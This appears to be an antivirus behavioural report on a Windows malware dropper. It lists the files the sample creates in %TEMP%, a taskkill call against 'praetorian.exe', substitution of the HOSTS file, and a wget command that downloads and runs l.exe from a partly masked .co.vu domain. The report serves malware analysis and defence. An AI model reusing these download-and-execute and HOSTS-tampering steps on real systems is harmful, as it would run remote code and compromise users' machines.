Technical Information
Malicious functions:
Creates and executes the following:
- '' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\taskkill.exe' /im "praetorian.exe"
Modifies file system:
Creates the following files:
- %TEMP%\install.cmd
- %TEMP%\wget.exe
- %TEMP%\l.exe
Deletes the following files:
- <DRIVERS>\etc\hosts
Substitutes the HOSTS file.
Network activity:
Connects to:
- 'av####aly1974.co.vu':80
TCP:
HTTP GET requests:
- http://av####aly1974.co.vu/l.exe
UDP:
- DNS ASK av####aly1974.co.vu
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
Creates and executes the following:
- '%TEMP%\wget.exe' http://av####aly1974.co.vu/l.exe
- '%TEMP%\l.exe'
Executes the following:
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\install.cmd" "
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\find.exe' /i "wget.exe"
